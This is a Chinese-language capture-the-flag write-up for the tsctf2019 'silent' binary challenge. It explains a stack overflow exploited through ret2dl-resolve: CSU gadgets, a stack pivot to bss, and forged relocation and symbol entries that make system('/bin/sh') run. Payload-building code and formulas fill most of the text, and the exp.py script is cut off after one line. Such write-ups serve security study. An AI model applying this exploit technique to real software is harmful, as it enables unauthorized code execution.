tsctf2019->silent
程序逻辑
程序中没有给泄露地址的函数,但是给了*(0x601008+0x1c8) = 0这个提示,说明需要用ret2-dl-resolve。
vuln有溢出,可以多写0x60个字节
漏洞利用
这里的rop链用csu gadgets构造,但是栈溢出的长度不够(少0x18个字节),导致最后没法ret到bss_addr。这里可以观察vuln停在leave时候寄存器的状态,rbx = 0,之后执行1
2mov rsp,rbp
pop rbp
如果我们把rbp置为p64(1)即可省去0x10个字节,这是一个技巧。另外可以用retn to vuln来执行二次构造,第一次的rop负责输入r12、r13、r14和r15,第二次的rop负责mov并执行,最后用1
2
3
4pop rbp,bss_stage-8
ret
leave
ret
去执行bss_stage的代码
buf的结构如下:1
2
3
4
5
6
7
8
9
10buf = p64(pop_rdi_ret) + p64(addr_cmd)
buf += p64(plt0) + p64(index_offset)
buf = buf.ljust(0x300,'b')
buf += fake_rel
buf = buf.ljust(0x340,'b')
buf += 'c'*padding
buf += fake_sym
buf += 'system\x00'
buf += '/bin/sh\x00'
buf = buf.ljust(0x500,'b')
即先将’/bin/sh\x00’读到rdi里以作为system的参数,之后plt0调用push,jmp的命令去link_map,index_offset为fake_rel与rel_plt的距离除以0x18,为了方便,我挑了一个不需要填充的fake_rel。
plt0找到fake_rel后通过r_info找到fake_sym,这里同样要除以0x18,这是和32位的不同,r_info的构造方式如下:1
r_info = (((fake_sym_addr - dynsym) / 0x18) << 0x20) | 0x7
这里为了方便我的fake_sym_addr也选择了一个不需要填充的地址。
r_offset选择elf.got[‘__libc_start_main’],这是之后system会覆盖的函数地址,r_addend为0,fake_rel结构如下:1
fake_rel = p64(r_offset) + p64(r_info) + r_addend
找到fake_sym之后,dl_reovel_runtime会根据其st_name字段找到需要执行的函数名,这里是’system’,寻址方式是字符串地址 - dynstr段地址,fake_sym的结构如下1
fake_sym = p32(st_name) + p32(0x12) + p64(0) * 2
exp.py
1 | from roputils import * |